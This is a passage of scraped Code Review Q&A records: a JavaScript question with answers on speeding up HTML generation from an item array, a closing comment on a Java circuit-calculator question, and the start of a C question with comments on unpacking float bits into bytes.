"body": "I see, I understand now. I have updated my code, implementing most of your recommendations. I will need some time to finish implementing the rest, and left notes within the code accordingly. Thank you AJ, I really learned a lot going through all your suggestions. The updated code is on GitHub. Regarding the CircuitAnalysis class, which is where the calculations are performed I am aware that I have a double for loop that I can probably reduce the time complexity of, but I would welcome any comments you have on that class as well. All the best, Michael."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T18:02:00.827",
"Id": "212865",
"ParentId": "212762",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "212865",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T17:49:00.783",
"Id": "212762",
"Score": "3",
"Tags": [
"java",
"performance",
"beginner",
"formatting",
"complexity"
],
"Title": "Circuit builder that calculates resistance/current/voltage"
} | 212762 |
<p>I am creating an app in html5 for mobile, and I have all the information of the items inside an array with 887 entries. Each entry have 32 key with values, some with more than one value.</p>
<p>I am using a for loop to iterate the array, and when I find the entry that match the html element it shows the item information with a html block.</p>
<p>I found that it's more efficient to cache the array lenght to use in the for loop. So instead of doing this:</p>
<p><code>for (var i = 0; i < array.length; i++){//code};</code></p>
<p>I am doing this which is more fast:</p>
<pre><code>var array_len = array.length;
for (var i = 0; i < array_len; i++){//code};
</code></pre>
<p>Another idea that I tested is creating an index for the array to avoid loops, like this:</p>
<pre><code>var index = {
"strawberry": 0,
"pear": 1,
"orange": 2,
"watermelon": 3,
"fruit_salad": 4,
"water": 5,
"orange_juice": 6,
"pear_juice": 7,
"strawberry_juice": 8,
"watermelon_juice": 9,
"potato": 10,
"french_fries": 11
}
</code></pre>
<p>And then call the item info using a function like this:</p>
<pre><code>var singleItem = $('.item');
singleItem.each(function() {
var item = $(this).attr('class').split(' ')[1];
var n = index[item];
var a_items = array[n];
$(this).html(CODE DO DISPLAY THE ITEM INFORMATION HERE)
}
</code></pre>
<p>So when I use a code like this: <code><div class="item watermelon"></div></code> it should retrieve the item information without the need to loop through the array.</p>
<p>Below is an example code I wrote to represent the situation, with a short array of items. In the real app, the main array which holds the items information is 887 items long. And I do some for loops inside the other for loop to retrieve informations like <code>stats</code> and the <code>used in</code> example.</p>
<p>So, it's a for loop inside a for loop.</p>
<p>The question is, there's a more efficient way of doing this?
Because some pages that display one category of items, with aproximatedely 100 items taks 5, 6 seconds to load, and I need it to be more faster.</p>
<p>Edit: Codepen code that shows performance time with both codes:</p>
<p><a href="https://codepen.io/anon/pen/YBVjKV" rel="nofollow noreferrer">https://codepen.io/anon/pen/YBVjKV</a></p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>// icons: https://www.flaticon.com/search/2?word=food&style_id=28
var array = [
{
"name": "strawberry",
"price": "2.00",
"type": "fruit",
"stats": [
{"type":"hunger","val":"4"},
{"type":"thirst","val":"2"},
{"type":"bladder","val":"-2"}
],
"used_in":["strawberry_juice","fruit_salad"],
"icon": "https://image.flaticon.com/icons/png/128/135/135717.png"
},
{
"name": "pear",
"price": "1.50",
"type": "fruit",
"stats": [
{"type":"hunger","val":"6"},
{"type":"thirst","val":"4"},
{"type":"bladder","val":"-2"}
],
"used_in":["pear_juice","fruit_salad"],
"icon": "https://image.flaticon.com/icons/png/128/167/167260.png"
},
{
"name": "orange",
"price": "0.80",
"type": "fruit",
"stats": [
{"type":"hunger","val":"6"},
{"type":"thirst","val":"5"},
{"type":"bladder","val":"-3"}
],
"used_in":["orange_juice","fruit_salad"],
"icon": "https://image.flaticon.com/icons/png/128/415/415734.png"
},
{
"name": "watermelon",
"price": "5.50",
"type": "fruit",
"stats": [
{"type":"hunger","val":"4"},
{"type":"thirst","val":"8"},
{"type":"bladder","val":"-6"}
],
"used_in":["watermelon_juice","fruit_salad"],
"icon": "https://image.flaticon.com/icons/png/128/415/415731.png"
},
{
"name": "fruit_salad",
"price": "6.50",
"type": "fruit",
"stats": [
{"type":"hunger","val":"10"},
{"type":"thirst","val":"3"},
{"type":"bladder","val":"-2"}
],
"ingredients": ["strawberry","pear","orange","watermelon"],
"icon": "https://image.flaticon.com/icons/png/128/415/415744.png"
},
{
"name": "water",
"price": "1.50",
"type": "drink",
"stats": [
{"type":"thirst","val":"8"},
{"type":"bladder","val":"-3"}
],
"used_in":["orange_juice","pear_juice","strawberry_juice","watermelon_juice"],
"icon": "https://image.flaticon.com/icons/png/128/135/135662.png"
},
{
"name": "orange_juice",
"price": "6.50",
"type": "drink",
"stats": [
{"type":"thirst","val":"6"},
{"type":"bladder","val":"-2"}
],
"ingredients":["orange","water"],
"icon": "https://image.flaticon.com/icons/png/128/167/167612.png"
},
{
"name": "pear_juice",
"price": "6.50",
"type": "drink",
"stats": [
{"type":"thirst","val":"6"},
{"type":"bladder","val":"-2"}
],
"ingredients":["pear","water"],
"icon": "https://image.flaticon.com/icons/png/128/167/167623.png"
},
{
"name": "strawberry_juice",
"price": "6.50",
"type": "drink",
"stats": [
{"type":"thirst","val":"4"},
{"type":"bladder","val":"-2"}
],
"ingredients":["strawberry","water"],
"icon": "https://image.flaticon.com/icons/png/128/167/167254.png"
},
{
"name": "watermelon_juice",
"price": "6.50",
"type": "drink",
"stats": [
{"type":"thirst","val":"6"},
{"type":"bladder","val":"-3"}
],
"ingredients":["watermelon","water"],
"icon": "https://image.flaticon.com/icons/png/128/167/167620.png"
},
{
"name": "potato",
"price": "1.00",
"type": "food",
"stats": [
{"type":"hunger","val":"4"},
{"type":"bladder","val":"-2"}
],
"used_in":["french_fries"],
"icon": "https://image.flaticon.com/icons/png/128/135/135676.png"
},
{
"name": "french_fries",
"price": "3.50",
"type": "food",
"stats": [
{"type":"hunger","val":"10"},
{"type":"thirst","val":"-4"},
{"type":"bladder","val":"-2"}
],
"ingredients": ["potato"],
"icon": "https://image.flaticon.com/icons/png/128/135/135589.png"
}
]
var array_len = array.length;
function gen(){
var allitems = "";
for (var i = 0; i < array_len; i++){
var item = array[i];
var name = item.name;
var price = item.price;
var type = item.type;
var icon = item.icon;
allitems += '<div class="item '+name+'"></div>';
}
$('.total').html(array_len);
$('.allitems').html(allitems);
}
function gen2(){
for (var j = 0; j < array_len; j++){
var item = array[j];
var name = item.name;
var formatted_name = name.replace(/_/g,' ');
var price = item.price;
var type = item.type;
var icon = item.icon;
var ing = item.ingredients;
var used_in = item.used_in;
var stats = item.stats;
var stats_info = "";
var ingredients = "";
var used = "";
var stat_item = "";
if(stats != undefined){
for(var s in stats){
var stat = stats[s];
var type = stat.type;
var val = stat.val
stat_item += '<div class="stat">'+
'<i class="'+type+'"></i>'+
'<span class="stat_val">'+val+'</span>'+
'</div>'
}
stats_info = '<div class="stats_info">'+
stat_item+
'</div>';
}
for(var i in ing){
var ing_item = ing[i];
var format_ing = ing_item.replace(/_/g,' ');
ingredients += '<div class="ingredient"><i class="'+ing_item+'"></i>'+
'<span class="ing_txt">'+format_ing+'</span>'+
'</div>';
}
for(var k in used_in){
var ing_item = used_in[k];
var format_ing = ing_item.replace(/_/g,' ');
used += '<div class="ingredient"><i class="'+ing_item+'"></i>'+
'<span class="ing_txt">'+format_ing+'</span>'+
'</div>';
}
var ing_block = "";
if(ing != undefined){
ing_block = '<div class="ingredients_block">'+
'<div class="ingredient_txt">Uses:</div>'+
ingredients+
'</div>';
}
if(used_in != undefined){
ing_block = '<div class="ingredients_block">'+
'<div class="usedngredient_txt">Used in:</div>'+
used+
'</div>';
}
$('.item.'+name).html
('<div class="items">'+
'<div class="itemblock">'+
'<i class="'+name+'"></i>'+
'<span class="name">'+formatted_name+'</span>'+
'<span class="price">$ '+price+'</span>'+
'<span class="type">'+type+'</span>'+
'</div>'+
stats_info+
ing_block+
'</div>')
}
}
gen()
gen2()</code></pre>
<pre class="snippet-code-css lang-css prettyprint-override"><code>.strawberry{background-image:url(https://image.flaticon.com/icons/png/128/135/135717.png);}
.pear{background-image:url(https://image.flaticon.com/icons/png/128/167/167260.png);}
.orange{background-image:url(https://image.flaticon.com/icons/png/128/415/415734.png);}
.watermelon{background-image:url(https://image.flaticon.com/icons/png/128/415/415731.png);}
.fruit_salad{background-image:url(https://image.flaticon.com/icons/png/128/415/415744.png);}
.water{background-image:url(https://image.flaticon.com/icons/png/128/135/135662.png);}
.orange_juice{background-image:url(https://image.flaticon.com/icons/png/128/167/167612.png);}
.pear_juice{background-image:url(https://image.flaticon.com/icons/png/128/167/167623.png);}
.strawberry_juice{background-image:url(https://image.flaticon.com/icons/png/128/167/167254.png);}
.watermelon_juice{background-image:url(https://image.flaticon.com/icons/png/128/167/167620.png);}
.potato{background-image:url(https://image.flaticon.com/icons/png/128/135/135676.png);}
.french_fries{background-image:url(https://image.flaticon.com/icons/png/128/135/135589.png);}
.hunger {background-image:url(https://image.flaticon.com/icons/png/128/608/608857.png);}
.thirst {background-image:url(https://image.flaticon.com/icons/png/128/135/135662.png);}
.bladder {background-image:url(https://image.flaticon.com/icons/png/128/1402/1402847.png);}
body {
background-color: #a3d5d3;
font-family: arial;
}
.totalitems {
display: block;
background: #131313;
color: #fff;
margin-bottom: 2px;
text-align: center;
}
.totalitems .total_txt {
margin: 5px;
display: inline-block;
}
.allitems {
display: block;
}
.item {
display: inline-block;
margin-right: 2px;
box-sizing: border-box;
background-image: none;
vertical-align: top;
width: 320px;
}
.items {
border: 1px solid #000;
margin-bottom: 2px;
background-color: #000;
padding: 1px;
}
.itemblock {
display: flex;
background-color: #333;
padding: 5px;
margin-bottom: 2px;
min-height: 40px;
}
.itemblock .items {
display: block;
background-color: #333;
padding: 5px;
margin-bottom: 2px;
}
.itemblock i{
width: 28px;
height: 28px;
background-size: contain;
background-repeat: no-repeat;
align-items: center;
flex-shrink: 0;
margin: 2px;
}
.itemblock .name {
display: flex;
align-items: center;
margin: 0 5px 0 5px;
text-transform: capitalize;
color: #fff;
width: 100px;
flex-shrink: 0;
}
.itemblock .price {
display: flex;
align-items: center;
margin: 0 2px;
color: #ffc107;
width: 50px;
flex-shrink: 0;
}
.itemblock .type {
display: flex;
align-items: center;
justify-content: flex-end;
margin: 0 15px;
color: #9E9E9E;
text-transform: capitalize;
flex-shrink: 0;
}
.stats_info {
display: flex;
background-color: #333;
padding: 8px;
justify-content: center;
border-bottom: 2px solid #000;
}
.stats_info .stat {
display: flex;
align-items: center;
justify-content: center;
width: 50px;
}
.stats_info .stat i {
display: flex;
width: 18px;
height: 18px;
flex-shrink: 0;
margin: 0;
background-size: contain;
background-repeat: no-repeat;
}
.stats_info .stat .stat_val {
display: flex;
flex-shrink: 0;
color: #fff;
font-size: 12px;
margin: 0 5px;
text-transform: capitalize;
justify-content: center;
}
.ingredients_block {
display: block;
background-color: #333;
padding: 5px;
text-align: center;
min-height: 82px;
}
.ingredients_block .usedngredient_txt,
.ingredients_block .ingredient_txt{
display: block;
margin-bottom: 10px;
color: #fff;
font-size: 12px;
text-align: left;
}
.ingredients_block .ingredient {
display: inline-block;
align-items: center;
width: 75px;
}
.ingredients_block .ingredient i {
display: flex;
width: 24px;
height: 24px;
flex-shrink: 0;
margin: 0 auto;
background-size: contain;
background-repeat: no-repeat;
}
.ingredients_block .ingredient .ing_txt {
display: flex;
flex-shrink: 0;
color: #fff;
font-size: 12px;
margin-top: 5px;
text-transform: capitalize;
justify-content: center;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<div class="totalitems">
<span class="total_txt">Total items:</span>
<span class="total"></span>
</div>
<div class="allitems"></div>
<!-- SEE THIS CODE IN FULL PAGE FOR BETTER VISUALIZATION --></code></pre>
</div>
</div>
</p>
| [] | [
{
"body": "<p>There're a lot of things you write them better, In my answer I'll write some of them.</p>\n\n<h1><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals\" rel=\"nofollow noreferrer\">Template Literals</a></h1>\n\n<p>In ES6 you can use template literals in code meaning:</p>\n\n<p>Don't</p>\n\n<pre><code>ing_block = '<div class=\"ingredients_block\">'+\n '<div class=\"usedngredient_txt\">Used in:</div>'+\n used+\n '</div>';\n\n'<i class=\"'+name+'\"></i>'\n</code></pre>\n\n<p>Do </p>\n\n<pre><code>ing_block = `<div class=\"ingredients_block\">\n <div class=\"usedngredient_txt\">Used in:</div>\n used</div>`;\n\n`<i class=\"${name}\"></i>`\n</code></pre>\n\n<h1><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator\" rel=\"nofollow noreferrer\">If Condition and Conditional (ternary) operator</a></h1>\n\n<ol>\n<li>Don't compare with <code>undefined</code> simply you can write this <code>if(used_in)</code> instead of this <code>if(used_in != undefined)</code>.</li>\n<li>You can use ternary operator.</li>\n</ol>\n\n<h1><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const\" rel=\"nofollow noreferrer\">const and let instead of var</a></h1>\n\n<p>you can use <code>const</code> if your variable won't change through your app, and let if it'll change.</p>\n\n<h1><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment\" rel=\"nofollow noreferrer\">Destructuring assignment</a></h1>\n\n<p>Simply you can do this:</p>\n\n<pre><code>const {price, type, icon} = item;\n</code></pre>\n\n<p>instead of this</p>\n\n<pre><code>var price = item.price;\nvar type = item.type;\nvar icon = item.icon;\n</code></pre>\n\n<p>You also can iterate through your array using map instead of for loop.</p>\n\n<h1><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys\" rel=\"nofollow noreferrer\">Object.keys instead of For in</a></h1>\n\n<p>You can use Object.keys which is more efficient than iterating using for in. <a href=\"https://codepen.io/dsheiko/details/JdrqXa\" rel=\"nofollow noreferrer\">Source</a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T21:09:42.630",
"Id": "212777",
"ParentId": "212764",
"Score": "1"
}
},
{
"body": "<h1>Don't add markup via <code>innerHTML</code></h1>\n<p>The reason for the slow down is not looking up the items but rather your method of creating the HTML.</p>\n<p>Adding markup to the page via the <code>innerHTML</code> property is VERY slow. You should never add content that way.</p>\n<p>Add content to a document fragment. When all the content has been created then add it to the page.</p>\n<p>To help, create functions to approximate the declarative style of a HTML document.</p>\n<p>In the example I create two helper functions.</p>\n<ul>\n<li><code>tag(type, properties)</code> that creates an element adds properties and returns it.</li>\n<li><code>append(element, siblings)</code> Appends children to the element. Importantly returning the parent element so that the call can be nested</li>\n</ul>\n<p>To help the declarative style the second and above arguments of <code>append</code> are indented one extra step.</p>\n<p>Example indentation</p>\n<pre><code>const createStats = stats =>\n stats.map(stat => \n append( // appends sid1, 2 to parent\n tag("div", {className: "stat"}), // parent\n tag("span", {className: stat.type}), // sibling 1\n tag("span", {className: "stat_val"}) // sibling 2\n )\n );\n</code></pre>\n<p>Adding content this way will give a noticeable performance increase.</p>\n<p>The code formatting for the example stuffed up and If I use the one in the editor it makes a total mess of it so will have to make do with it in at least a readable format.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const query = str => document.querySelector(str);\nconst tag = (type, props = {}) => Object.assign(document.createElement(type), props);\nconst append = (el, ...sibs) => (sibs.forEach(sib => el.appendChild(sib)), el);\n\n// timeout just so that the array is parsed without needing to be at the top\nsetTimeout(()=>gen(array));\n\nconst createStats = stats =>\n stats.map(stat => \n append(\n tag(\"div\", {className: \"stat\"}),\n tag(\"i\", {className: stat.type}),\n tag(\"span\", {className: \"stat_val\", textContent: stat.val})\n )\n );\nconst createIngredients = ingredients =>\n ingredients.map(ingredient => \n append(\n tag(\"div\", {className: \"ingredient\"}),\n tag(\"i\", {className: ingredient}),\n tag(\"span\", {className: \"ing_txt\", textContent: ingredient.replace(/_/g,' ')})\n )\n );\nconst createItem = item => {\n var extras = [];\n if(item.stats){\n extras.push(append(\n tag(\"div\",{className: \"stats_info\"}),\n ...createStats(item.stats)\n ));\n }\n if(item.ingredients) {\n extras.push(append(\n tag(\"div\", {className:\"ingredients_block\"}),\n tag(\"div\", {className:\"ingredient_txt\", textContent:\"Uses:\"}),\n ...createIngredients(item.ingredients)\n ));\n } \n if(item.used_in) {\n extras.push(append(\n tag(\"div\", {className:\"ingredients_block\"}),\n tag(\"div\", {className:\"usedngredient_txt\", textContent:\"Used in:\"}),\n ...createIngredients(item.used_in)\n ));\n }\n return append(\n tag(\"div\", {className:\"items\"}),\n append(\n tag(\"div\", {className:\"itemblock\"}),\n tag(\"i\", {className: item.name}),\n tag(\"span\", {className: \"name\", textContent : item.name.replace(/_/g,' ')}),\n tag(\"span\", {className: \"price\", textContent : \"$\" + item.price}),\n tag(\"span\", {className: \"type\", textContent : item.type})\n ),\n ...extras\n ); \n}\nfunction gen(array){\n append(\n query(\".allitems\"),\n append(\n document.createDocumentFragment(), \n ...array.map(item => append(\n tag(\"div\",{className: \"item \" + item.name}),\n createItem(item)\n )\n )\n )\n )\n query(\".total\").textContent = array.length;\n}\n\n\n\n\nvar array = [\n {\n\"name\": \"strawberry\",\n\"price\": \"2.00\",\n\"type\": \"fruit\",\n\"stats\": [\n {\"type\":\"hunger\",\"val\":\"4\"},\n {\"type\":\"thirst\",\"val\":\"2\"},\n {\"type\":\"bladder\",\"val\":\"-2\"}\n],\n\"used_in\":[\"strawberry_juice\",\"fruit_salad\"],\n\"icon\": \"https://image.flaticon.com/icons/png/128/135/135717.png\"\n },\n {\n\"name\": \"pear\",\n\"price\": \"1.50\",\n\"type\": \"fruit\",\n\"stats\": [\n {\"type\":\"hunger\",\"val\":\"6\"},\n {\"type\":\"thirst\",\"val\":\"4\"},\n {\"type\":\"bladder\",\"val\":\"-2\"}\n],\n\"used_in\":[\"pear_juice\",\"fruit_salad\"],\n\"icon\": \"https://image.flaticon.com/icons/png/128/167/167260.png\"\n },\n {\n\"name\": \"orange\",\n\"price\": \"0.80\",\n\"type\": \"fruit\",\n\"stats\": [\n {\"type\":\"hunger\",\"val\":\"6\"},\n {\"type\":\"thirst\",\"val\":\"5\"},\n {\"type\":\"bladder\",\"val\":\"-3\"}\n],\n\"used_in\":[\"orange_juice\",\"fruit_salad\"],\n\"icon\": \"https://image.flaticon.com/icons/png/128/415/415734.png\"\n },\n {\n\"name\": \"watermelon\",\n\"price\": \"5.50\",\n\"type\": \"fruit\",\n\"stats\": [\n {\"type\":\"hunger\",\"val\":\"4\"},\n {\"type\":\"thirst\",\"val\":\"8\"},\n {\"type\":\"bladder\",\"val\":\"-6\"}\n],\n\"used_in\":[\"watermelon_juice\",\"fruit_salad\"],\n\"icon\": \"https://image.flaticon.com/icons/png/128/415/415731.png\"\n },\n {\n\"name\": \"fruit_salad\",\n\"price\": \"6.50\",\n\"type\": \"fruit\",\n\"stats\": [\n {\"type\":\"hunger\",\"val\":\"10\"},\n {\"type\":\"thirst\",\"val\":\"3\"},\n {\"type\":\"bladder\",\"val\":\"-2\"}\n],\n\"ingredients\": [\"strawberry\",\"pear\",\"orange\",\"watermelon\"],\n\"icon\": \"https://image.flaticon.com/icons/png/128/415/415744.png\"\n },\n {\n\"name\": \"water\",\n\"price\": \"1.50\",\n\"type\": \"drink\",\n\"stats\": [\n {\"type\":\"thirst\",\"val\":\"8\"},\n {\"type\":\"bladder\",\"val\":\"-3\"}\n],\n\"used_in\":[\"orange_juice\",\"pear_juice\",\"strawberry_juice\",\"watermelon_juice\"],\n\"icon\": \"https://image.flaticon.com/icons/png/128/135/135662.png\"\n },\n {\n\"name\": \"orange_juice\",\n\"price\": \"6.50\",\n\"type\": \"drink\",\n\"stats\": [\n {\"type\":\"thirst\",\"val\":\"6\"},\n {\"type\":\"bladder\",\"val\":\"-2\"}\n],\n\"ingredients\":[\"orange\",\"water\"],\n\"icon\": \"https://image.flaticon.com/icons/png/128/167/167612.png\"\n },\n {\n\"name\": \"pear_juice\",\n\"price\": \"6.50\",\n\"type\": \"drink\",\n\"stats\": [\n {\"type\":\"thirst\",\"val\":\"6\"},\n {\"type\":\"bladder\",\"val\":\"-2\"}\n],\n\"ingredients\":[\"pear\",\"water\"],\n\"icon\": \"https://image.flaticon.com/icons/png/128/167/167623.png\"\n },\n {\n\"name\": \"strawberry_juice\",\n\"price\": \"6.50\",\n\"type\": \"drink\",\n\"stats\": [\n {\"type\":\"thirst\",\"val\":\"4\"},\n {\"type\":\"bladder\",\"val\":\"-2\"}\n],\n\"ingredients\":[\"strawberry\",\"water\"],\n\"icon\": \"https://image.flaticon.com/icons/png/128/167/167254.png\"\n },\n {\n\"name\": \"watermelon_juice\",\n\"price\": \"6.50\",\n\"type\": \"drink\",\n\"stats\": [\n {\"type\":\"thirst\",\"val\":\"6\"},\n {\"type\":\"bladder\",\"val\":\"-3\"}\n],\n\"ingredients\":[\"watermelon\",\"water\"],\n\"icon\": \"https://image.flaticon.com/icons/png/128/167/167620.png\"\n },\n {\n\"name\": \"potato\",\n\"price\": \"1.00\",\n\"type\": \"food\",\n\"stats\": [\n {\"type\":\"hunger\",\"val\":\"4\"},\n {\"type\":\"bladder\",\"val\":\"-2\"}\n],\n\"used_in\":[\"french_fries\"],\n\"icon\": \"https://image.flaticon.com/icons/png/128/135/135676.png\"\n },\n {\n\"name\": \"french_fries\",\n\"price\": \"3.50\",\n\"type\": \"food\",\n\"stats\": [\n {\"type\":\"hunger\",\"val\":\"10\"},\n {\"type\":\"thirst\",\"val\":\"-4\"},\n {\"type\":\"bladder\",\"val\":\"-2\"}\n],\n\"ingredients\": [\"potato\"],\n\"icon\": \"https://image.flaticon.com/icons/png/128/135/135589.png\"\n }\n]</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.strawberry{background-image:url(https://image.flaticon.com/icons/png/128/135/135717.png);}\n.pear{background-image:url(https://image.flaticon.com/icons/png/128/167/167260.png);}\n.orange{background-image:url(https://image.flaticon.com/icons/png/128/415/415734.png);}\n.watermelon{background-image:url(https://image.flaticon.com/icons/png/128/415/415731.png);}\n.fruit_salad{background-image:url(https://image.flaticon.com/icons/png/128/415/415744.png);}\n.water{background-image:url(https://image.flaticon.com/icons/png/128/135/135662.png);}\n.orange_juice{background-image:url(https://image.flaticon.com/icons/png/128/167/167612.png);}\n.pear_juice{background-image:url(https://image.flaticon.com/icons/png/128/167/167623.png);}\n.strawberry_juice{background-image:url(https://image.flaticon.com/icons/png/128/167/167254.png);}\n.watermelon_juice{background-image:url(https://image.flaticon.com/icons/png/128/167/167620.png);}\n.potato{background-image:url(https://image.flaticon.com/icons/png/128/135/135676.png);}\n.french_fries{background-image:url(https://image.flaticon.com/icons/png/128/135/135589.png);}\n.hunger {background-image:url(https://image.flaticon.com/icons/png/128/608/608857.png);}\n.thirst {background-image:url(https://image.flaticon.com/icons/png/128/135/135662.png);}\n.bladder {background-image:url(https://image.flaticon.com/icons/png/128/1402/1402847.png);}\n\nbody {\n background-color: #a3d5d3;\n font-family: arial;\n}\n.totalitems {\n display: block;\n background: #131313;\n color: #fff;\n margin-bottom: 2px;\n text-align: center;\n}\n.totalitems .total_txt {\n margin: 5px;\n display: inline-block;\n}\n.allitems {\n display: block;\n}\n.item {\n display: inline-block;\n margin-right: 2px;\n box-sizing: border-box;\n background-image: none;\n vertical-align: top;\n width: 320px;\n}\n.items {\n border: 1px solid #000;\n margin-bottom: 2px;\n background-color: #000;\n padding: 1px;\n}\n.itemblock {\n display: flex;\n background-color: #333;\n padding: 5px;\n margin-bottom: 2px;\n min-height: 40px;\n}\n.itemblock .items {\n display: block;\n background-color: #333;\n padding: 5px;\n margin-bottom: 2px;\n}\n.itemblock i{\n width: 28px;\n height: 28px;\n background-size: contain;\n background-repeat: no-repeat;\n align-items: center;\n flex-shrink: 0;\n margin: 2px;\n}\n.itemblock .name {\n display: flex;\n align-items: center;\n margin: 0 5px 0 5px;\n text-transform: capitalize;\n color: #fff;\n width: 100px;\n flex-shrink: 0;\n}\n.itemblock .price {\n display: flex;\n align-items: center;\n margin: 0 2px;\n color: #ffc107;\n width: 50px;\n flex-shrink: 0;\n}\n.itemblock .type {\n display: flex;\n align-items: center;\n justify-content: flex-end;\n margin: 0 15px;\n color: #9E9E9E;\n text-transform: capitalize;\n flex-shrink: 0;\n}\n.stats_info {\n display: flex;\n background-color: #333;\n padding: 8px;\n justify-content: center;\n border-bottom: 2px solid #000;\n}\n.stats_info .stat {\n display: flex;\n align-items: center;\n justify-content: center;\n width: 50px;\n}\n.stats_info .stat i {\n display: flex;\n width: 18px;\n height: 18px;\n flex-shrink: 0;\n margin: 0;\n background-size: contain;\n background-repeat: no-repeat;\n}\n.stats_info .stat .stat_val {\n display: flex;\n flex-shrink: 0;\n color: #fff;\n font-size: 12px;\n margin: 0 5px;\n text-transform: capitalize;\n justify-content: center;\n}\n.ingredients_block {\n display: block;\n background-color: #333;\n padding: 5px;\n text-align: center;\n min-height: 82px;\n}\n.ingredients_block .usedngredient_txt,\n.ingredients_block .ingredient_txt{\n display: block;\n margin-bottom: 10px;\n color: #fff;\n font-size: 12px;\n text-align: left;\n}\n.ingredients_block .ingredient {\n display: inline-block;\n align-items: center;\n width: 75px;\n}\n.ingredients_block .ingredient i {\n display: flex;\n width: 24px;\n height: 24px;\n flex-shrink: 0;\n margin: 0 auto;\n background-size: contain;\n background-repeat: no-repeat;\n}\n.ingredients_block .ingredient .ing_txt {\n display: flex;\n flex-shrink: 0;\n color: #fff;\n font-size: 12px;\n margin-top: 5px;\n text-transform: capitalize;\n justify-content: center;\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js\"></script>\n<div class=\"totalitems\">\n <span class=\"total_txt\">Total items:</span>\n <span class=\"total\"></span>\n</div>\n<div class=\"allitems\"></div>\n<!-- SEE THIS CODE IN FULL PAGE FOR BETTER VISUALIZATION --></code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T18:58:22.233",
"Id": "212806",
"ParentId": "212764",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "212777",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T18:12:53.077",
"Id": "212764",
"Score": "0",
"Tags": [
"javascript",
"performance"
],
"Title": "Fastest way to retrieve information from array and display in html"
} | 212764 |
<p>I need to map a sequence of bits that represents a float into a sequence of bytes by this rule: the value 1 maps to the value 255 and the value 0 maps to the value 0.</p>
<p>This is the code I have now:</p>
<pre><code>int FloatToBit(int *buffer, int startIndex, float value) {
int fl = *(int*)&value;
int i = 0;
for (; i < sizeof(float) * 8; ++i) {
buffer[startIndex + i] = ((1 << i) & fl) != 0 ? 255 : 0;
}
return i;
}
</code></pre>
<p>The code above is working, still I need something faster. Is it possible to improve its performance?</p>
<p><strong>Edit 1</strong>:
I have created an <a href="http://quick-bench.com/AsR-y8sg--F7Pj1sgVauUg8GXlA" rel="nofollow noreferrer">online benchmark</a> for this function.</p>
<p><strong>Edit 2</strong>:
Using <code>buffer[startIndex+i] = (unsigned char)-((fl>>i)&1)</code> as @matt-timmermans suggested in the original question. Looks like there is no evident performance improvement.
<a href="http://quick-bench.com/2m3m3IJQGBZ3pH04A7qUT_xcyAc" rel="nofollow noreferrer">Online benchmark</a>.</p>
<p><strong>Edit 3</strong>:
<a href="http://quick-bench.com/QF9xQs_SFm1k4DMa8Nd7YpdJHEw" rel="nofollow noreferrer">This benchmark</a> shows that the approach suggested by @greybeard is ~29 times faster than the original implementation.</p>
<p><strong>Edit 4</strong>:
Created a <a href="http://quick-bench.com/2DRbruW_8S5TEY5r1fDsLUKNruk" rel="nofollow noreferrer">benchmark</a> that measures all the suggested approaches.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T19:06:22.947",
"Id": "411523",
"Score": "2",
"body": "Yes, but: Please specify how to quantify speed (how about setting up an online speed evaluation environment?). First posted in [stackoverflow](https://stackoverflow.com/q/54495410)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T04:55:10.517",
"Id": "411546",
"Score": "0",
"body": "Is it your intent to output 0 or 255 as 32-bit `int`s? From your description, I was expecting single bytes, but that's not what your code does."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T10:40:15.227",
"Id": "411551",
"Score": "0",
"body": "@greybeard Added an online benchmark in the question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T10:45:58.847",
"Id": "411552",
"Score": "0",
"body": "@user1118321 Right, I've switched to an `unsigned char` buffer now."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T11:56:30.963",
"Id": "411555",
"Score": "0",
"body": "Only at `optim = None` was I able to get different disassemblies (consequently, at other code improver settings the timings never differ(ed) significantly). (FWIF, there *seemed to be* an improvement.) `switched to an unsigned char buffer` not (yet?) in `BitsToBytesOriginal`@quick-bench.com."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T11:58:41.740",
"Id": "411556",
"Score": "2",
"body": "You might want to have a look at this: [Fastest way to unpack 32 bits to a 32 byte SIMD vector](https://stackoverflow.com/q/24225786/6467688). Sadly, the online benchmark site you linked doesn't have support for SIMD instructions, or I would have tried it already."
},
{
"ContentLicense": "CC BY-SA 4.0",
